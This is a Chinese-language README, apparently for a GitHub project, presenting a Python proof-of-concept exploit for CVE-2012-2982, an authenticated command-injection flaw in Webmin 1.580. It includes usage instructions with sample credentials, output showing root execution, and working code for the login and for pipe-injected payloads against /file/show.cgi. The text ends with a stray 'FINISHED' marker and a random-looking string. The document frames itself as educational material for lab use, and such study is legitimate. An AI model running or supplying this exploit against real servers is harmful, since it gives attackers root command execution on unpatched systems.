Webmin 1.580 远程命令执行漏洞利用工具 (CVE-2012-2982)

3 阅读4分钟

Webmin 1.580 远程命令执行漏洞利用工具 (CVE-2012-2982)

本项目是一个 Python 编写的概念验证 (PoC) 利用工具,针对 Webmin 版本 1.580 中的一个严重漏洞。该漏洞被编号为 CVE-2012-2982,是由于 file/show.cgi 组件对用户输入处理不当,导致已认证的Webmin用户能够利用文件管理器模块执行任意系统命令,且命令执行权限为root

此工具完全基于对漏洞原理的分析实现,旨在为安全研究人员和学生提供一个在受控环境(如TryHackMe)中学习和测试漏洞的示例。

⚠️ 重要声明: 本项目仅限用于教育目的授权的安全测试。严禁用于任何非法或未授权的活动。

功能特性

  • 自动化认证:支持通过用户名和密码登录目标Webmin服务。
  • 命令注入利用:核心功能是利用CVE-2012-2982漏洞,在目标系统上执行任意命令。
  • Payload随机化:利用代码中包含一个随机字符串生成器,用于构造每次请求都不同的恶意路径,提高利用的灵活性。
  • 结果回显:成功利用后,会在终端显示目标系统执行命令后的输出结果。
  • 友好的命令行接口:使用argparse模块构建,参数清晰,易于使用。

安装指南

系统要求

  • Python 3.x
  • pip Python包管理器

依赖项

本工具仅依赖于requests库,用于发送HTTP/HTTPS请求。

安装步骤

  1. 克隆本仓库或下载 webmin.py 文件到您的本地测试机器。
    git clone https://github.com/your-repo/webmin-1.580-rce.git
    cd webmin-1.580-rce
    
  2. (推荐)创建一个Python虚拟环境。
    python3 -m venv venv
    source venv/bin/activate  # 在Windows上使用 `venv\Scripts\activate`
    
  3. 安装所需的依赖库。
    pip install requests
    
    或者,如果项目提供了 requirements.txt 文件,可以使用:
    pip install -r requirements.txt
    

使用说明

基础使用示例

该工具通过命令行参数运行。您需要提供目标URL、用户名、密码以及要执行的命令。

python3 webmin.py <目标URL> -u <用户名> -p <密码> -c "<要执行的命令>"

典型使用场景

场景: 假设您已经在一个测试环境中部署了存在漏洞的Webmin 1.580,且已知一个管理员账户 admin 密码为 admin123。您想验证漏洞并查看当前运行命令的用户。

命令:

python3 webmin.py https://10.10.10.10:10000 -u admin -p admin123 -c "id"

预期输出:

[+] Login Succesfull,
Executing Payload...
[+] Exploit sent 
uid=0(root) gid=0(root) groups=0(root)  # 命令执行结果,证明是以root权限执行

命令行参数概览

参数是否必需描述
target目标Webmin的基础URL,必须包含协议(http://https://),例如 https://10.10.10.10:10000
-u, --username用于登录Webmin的用户名。
-p, --password用于登录Webmin的密码。
-c, --command要在目标服务器上执行的系统命令。

核心代码

以下是工具的核心代码片段,包含了漏洞利用的关键逻辑。

1. 登录模块

此部分负责向Webmin的登录端点发送POST请求,完成用户认证并获取会话ID(sid)。

# 构造登录请求的数据包
data = {'page':"%2F", 'user':args.username, 'pass':args.password}
url = f"{base_url}/session_login.cgi"

try:
    # 发送POST请求,设置cookie "testing=1" 绕过某些检查
    r = requests.post(url, data=data, cookies={"testing":"1"}, verify=False, allow_redirects=False, timeout=15)

    # 检查是否登录成功(302跳转和sid Cookie)
    if r.status_code == 302 and "sid" in r.cookies:
        print("[+] Login Succesfull,\nExecuting Payload...")
        sid = r.cookies["sid"]  # 获取会话ID,用于后续请求
    else:
        print("[-] Login Failed")
        sys.exit(1)
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")
    sys.exit(1)

2. Payload构造与发送

该部分利用获取到的sid,构造包含恶意命令的URL并发送请求。核心漏洞点在于/file/show.cgi/bin/{随机字符串}|{命令}|,管道符 | 的注入使得系统执行了额外的命令。

import string
import secrets

# 生成5位随机字符串,用于构造路径,增加隐蔽性
def ran():
    charset = string.ascii_letters + string.digits
    rand_charset = ''.join(secrets.choice(charset) for i in  range(5))
    return rand_charset

def exploit(sid, args_command, base_url):
    try:
        # 构造漏洞利用URL:利用管道符注入命令
        # 最终格式如: https://target:10000/file/show.cgi/bin/aB3dE|id|
        exp_url = f"{base_url}/file/show.cgi/bin/{ran()}|{args_command}|"
        
        # 携带有效的会话Cookie发送GET请求
        req = requests.get(exp_url, cookies={"sid":sid}, verify=False, allow_redirects=False, timeout=15)
        
        print("[+] Exploit sent ")
        # 打印命令执行结果
        print(req.text)

    except requests.exceptions.RequestException as e:
        print(f"[-] Request Failed:{e}")
        sys.exit(1)

# 调用利用函数
exploit(sid, args.command, base_url)
```FINISHED
6HFtX5dABrKlqXeO5PUv/0s0mRKmAMnD4iHEQcfMGjDfrYh26tFxajb6BLr+XpIn